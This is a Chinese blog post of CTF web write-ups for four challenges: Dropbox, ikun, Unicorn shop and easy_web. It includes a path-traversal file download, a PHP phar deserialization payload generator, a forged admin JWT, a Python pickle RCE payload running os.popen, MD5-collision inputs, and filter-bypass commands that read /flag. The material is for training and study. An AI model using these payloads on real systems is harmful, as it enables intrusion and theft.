本篇内容
[CISCN2019 华北赛区 Day1 Web1]Dropbox
[CISCN2019 华北赛区 Day1 Web2]ikun
[ASIS 2019]Unicorn shop
[安洵杯 2019]easy_web
上一篇 | 目录 | 下一篇
[CISCN2019 华北赛区 Day1 Web1]Dropbox
1、任意文件下载
2、Phar扩展php反序列化漏洞
访问网址是个登录框,直接去注册admin,发现成功了,猜测和sql注入无关了。
登录进去后长这样:
尝试上传文件之后发现限制的很死,感觉只能上传给定的gif、jpg、png格式的文件,做不来,百度。
以下内容参考大佬文章:ciscn2019华北赛区半决赛day1_web1题解和[CISCN2019 华北赛区 Day1 Web1]Dropbox。
正常上传图片,然后开启Burp抓包,点击下载,修改filename为../../index.php
即可下载index.php源码,同样的把login.php
、register.php
、download.php
、delete.php
,查看这些文件发现都包含了一个class.php
也下载下来。
代码审计:
首先class.php里的File
类中的close
方法执行会获得文件的内容,若是能触发,就有可能获得flag。
然后就是就算我们能拿到flag,也需要有地方可以回显,注意到class.php里的FileList
类的__destruct()
方法,此方法在对象终止时自动被调用。(以下代码为了方便看,把所有的字符串替换成xxx,反正没啥用):
public function __destruct() {
$table = 'xxx';
$table .= 'xxx';
//把一维数组$this->funcs里的值循环取出添加到$table中
foreach ($this->funcs as $func) {
$table .= 'xxx' . htmlentities($func) . 'xxx';
}
$table .= 'xxx';
$table .= 'xxx';
//把二维数组$this->results里的每个一维数组的值传递给$result
foreach ($this->results as $filename => $result) {
$table .= 'xxx';
//把一维数组$result里的值循环取出添加到$table中
foreach ($result as $func => $value) {
$table .= 'xxx' . htmlentities($value) . 'xxx';
}
$table .= 'xxx filename="' . htmlentities($filename) . '"xxx';
$table .= 'xxx';
}
//把$table输出,也就是显示到浏览器的内容
echo $table;
}
所以FileList
类肯定要用到,可以实例化一个此类的对象,让这个对象去实现File
类的close()
方法。注意到FileList
类的__construct()
方法里实例化了一个File
对象。
而__construct()方法是在实例化对象时被调用,意思就是说实例化一个FileList类的对象,该方法就会被自动执行。
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
//扫描$path路径下的所有文件名赋值给$filenames形成一个列表
$filenames = scandir($path);
//在列表$filenames里找到"."和".."就移除(unset)出去
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
//循环列表$filenames里的文件名
foreach ($filenames as $filename) {
//实例化一个File类的对象
$file = new File();
//执行File类里的open()方法
$file->open($path . $filename);
//将$file对象加到数组$this->files中
array_push($this->files, $file);
//$this->results是二维数组
$this->results[$file->name()] = array();
}
}
我们的目的是最终能调用File类的close()方法,注意到class.php里的User
类的__destruct()
方法的db
变量执行了close()
方法,__destruct()方法在对象销毁时执行。
那就将db变量实例化为一个FileList对象,$this->db->close()
即执行FileList类里的close()方法,可惜FileList类并没有此方法,就会自动执行__call()
方法。
public function __call($func, $args) {
//将$func函数加到$this->funcs中
array_push($this->funcs, $func);
//在前面解释了__construct()方法,知道数组$this->files里存的都是File类的对象
foreach ($this->files as $file) {
//执行File类里的$func()方法添加到二维数组里。这里$func()未知,由我们自己指定。
$this->results[$file->name()][$func] = $file->$func();
}
}
我们可以看一下在index.php
里的最后几行,如下:
实例化一个FileList对象时,首先执行了__construct()
方法,扫描了$_SESSION['sandbox']
所指的路径,然后for循环一直实例化File对象,经过File类的open()方法处理后,将File对象赋值给a->files
形成了数组。
然后$a->Name();
调用了FileList类里没有的函数,转而自动执行__call($func,$args)
方法,$func
就是Name()方法了,然后for循环让a->files
数组里的File对象去执行Name()方法。注意到File类里的是name(),但没关系,PHP对于函数名和类名不区分大小写。$a->Size();
同理。
回到题目:
思路已经捋顺了,就是创建一个user对象,其db变量是一个FileList对象,对象中的文件名为flag的位置,这里猜测是/flag.txt
。
当user对象操纵终止时,db变量(即FileList对象)去执行close()方法,但是没有,转而执行__call()方法,里面的for循环执行了File类里的close()方法,也就执行了file_get_contents($this->filename)
。
以下内容参考:利用 phar 拓展 php 反序列化漏洞攻击面。原理这里不讲,看此链接。
这里利用phar
协议,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,受影响的函数如下(盗的上面那个链接的图):
先举个例子(同样盗的上面那个链接):
//phar_gen.php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
看到meta-data是以序列化的形式存储的:
测试一下,利用上面代码执行后生成的phar.phar
测试file_get_contents()
函数,测试代码:
class TestObject {
public function __destruct() {
eval("system('ls');");
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
执行一下发现确实能利用成功:
回到题目:
开始利用phar://
伪协议和之前的思路构造,使close()
方法里的file_get_contents($this->filename)
执行类似于上面例子的phar://phar.phar/test.txt
。
payload:
class User {
public $db;
}
class File {
public $filename = '/flag.txt';
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$this->files = array($file);
}
}
$o = new User();
$o->db = new FileList();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("text.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
将以上代码使用php执行后生成phar.phar。
更改后缀为png
,上传,开启bp抓包点击删除。
将filename改为phar://phar.png/text.txt
即可得到flag。
说明:
这里利用delete.php
而不是download.php
的原因是下载界面有如下一句话:
就是只可以访问当前目录(getcwd())、/etc和/tmp三个目录。而删除界面却可以访问根目录。
[CISCN2019 华北赛区 Day1 Web2]ikun
知识点:
jwt-cookie伪造
python反序列化
题目提示要买Lv6的,右键源代码可以发现所有这些bilibili小电视的图片命名都是lv?.png
,?
代指数字1,2,3,4,5,6。然后翻页的话url的page参数会跟着变。那就写脚本先找到lv6再说。
import requests
url="http://8d2379ce-3868-49e8-98eb-3961c57ddfdf.node3.buuoj.cn/shop?page="
for i in range(0,500):
r = requests.get(url+str(i))
if 'lv6.png' in r.text:
print (i)
break
得到数字181
。购买的时候提示登录,随便注册一个账号登录即可。点击购买跳到购物车处。
然而太贵,买不起,抓包改优惠券看看。
得到另一个地址/b1g_m4mber
,但是只允许admin访问。
尝试很久不会,百度,以下参考大佬文章BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun和[CISCN2019 华北赛区 Day1 Web2]ikun。
涉及到了JWT破解。不知道JWT可以查看认识JWT这篇文章。
简单了解JWT
JSON Web Token (JWT)是一个开放标准(RFC 7519),
它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。
该信息可以被验证和信任,因为它是数字签名的。
JSON Web Token由三部分组成,它们之间用圆点(.)连接。这三部分分别是:
Header:包括token的类型(“JWT”)和算法名称(比如:HMAC SHA256或者RSA等等)。
Payload:包含声明(要求)。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered, public 和 private。
Signature:为了得到签名部分,你必须有编码过的header、编码过的payload、一个秘钥,签名算法是header中指定的那个。
注意:不要在JWT的payload或header中放置敏感信息,除非它们是加密的。
JWT与Session的差异
相同点是,它们都是存储用户信息;然而,Session是在服务器端的,而JWT是在客户端的。
Session方式存储用户信息的最大问题在于要占用大量服务器内存,增加服务器的开销。
而JWT方式将用户状态分散到了客户端中,可以明显减轻服务端的内存压力。
Session的状态是存储在服务器端,客户端只有session id;而Token的状态是存储在客户端。
回到题目:
首先使用c-jwt-cracker
工具破解key,工具链接:c-jwt-cracker工具。
然后伪造jwt,在https://jwt.io/网站生成新的jwt。
替换我们之前得jwt,刷新一下就变为admin了。
右键源代码发现www.zip
,那就下载:
发现在Admin.py
处有一个python的反序列化操作:
以下解释参考(Python)cPickle反序列化漏洞。
知识点:
Python中有个库可以实现序列化和反序列化操作,名为pickle或cPickle。
两者只是实现的语言不同,一个是纯python实现、另一个是C实现,函数调用基本相同。
pickle.dump() 将Python对象序列化保存到本地的文件中。
pickle.load() 载入本地文件,将文件内容反序列化为Python对象。
pickle.dumps() 将Python对象序列化为字符串。
pickle.loads() 将字符串反序列化为Python对象。
作用和PHP的serialize与unserialize一样。
回到题目,分析重要代码:
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
#获取url的become参数
become = self.get_argument('become')
#urllib.unquote将url编码的内容解码回来
#pickle.loads将序列化的内容反序列化回来
p = pickle.loads(urllib.unquote(become))
#往form.html传入p的内容
return self.render('form.html', res=p, member=1)
except:
#异常的话就传入“This is Black Technology!”这个内容
return self.render('form.html', res='This is Black Technology!', member=0)
考虑python反序列化漏洞:使用__reduce__()
魔术方法。
漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码。
那就写脚本看看根路径 /
下有什么东西(主要是我看网上好多教程都没写flag.txt
是怎么来的,就直接读取了):
#_*_coding:utf-8_*_
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval,("__import__('os').popen('ls /').read()",))
a = pickle.dumps(payload()) #将payload序列化
a = urllib.quote(a) #将序列化后的结果进行url编码
print a
然后将生成的东西传给become
参数就好了。
发现有一个flag.txt
,读取就拿到了flag。只需改一下上面那个脚本的return语句就好。
return (eval, ("open('/flag.txt','r').read()",))
[ASIS 2019]Unicorn shop
本题参考大佬文章:ASIS 2019-Unicorn shop。
猜测只要买到价值1337元的独角兽就可以得到flag,但是价格框只能输入一个字符。右键查看源代码发现:
那肯定就是utf-8编码问题了,取找找是否存在一个字符就能代表大于1337的字符。在Unicode - Compart这个网址找找。
搜索thousand
出现如下,只要大于1337的就好。
我选择了ↇ
字符,输入即可拿到flag。
[安洵杯 2019]easy_web
发现一串奇怪的字符串,经过两次base64解密,一次base16解密得到555.png。
TXpVek5UTTFNbVUzTURabE5qYz0
MzUzNTM1MmU3MDZlNjc=
3535352e706e67
555.png
那就尝试将index.php也这么转回去看看:
index.php
696E6465782E706870
Njk2RTY0NjU3ODJFNzA2ODcw
TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "";
echo "
";
}
echo $cmd;
echo "
";
//cmd能输入的被过滤了这么多
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "
";
} else {
//这里表示POST的a和b需要值不相等,但是md5后转成的字符串要相等,这就不能使用数组绕过了
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
能命令执行的被过滤这么多,翻一翻以前的笔记:
linux中直接查看文件内容的工具:
cat、tac、more、less、head、tail、nl、sed、sort、uniq
发现还能用sort和uniq。
MD5强碰撞绕过
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
开始操作,过滤了ls,那就使用dir查看一下:
注意点:由于我也是看着网上写的,但当我Burp抓包时发现我抓的是GET
,需要手动改为POST
,而且也不存在Content-Type: application/x-www-form-urlencoded
。这都是我自己手动输入的,可能是我bp版本有问题,因为我看网上的wp都没有提到过这一点。
然后就是查看flag了:
?cmd=uniq%20/flag
?cmd=sort%20/flag
?cmd=ca\t%20/flag
========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/105459870
========================================================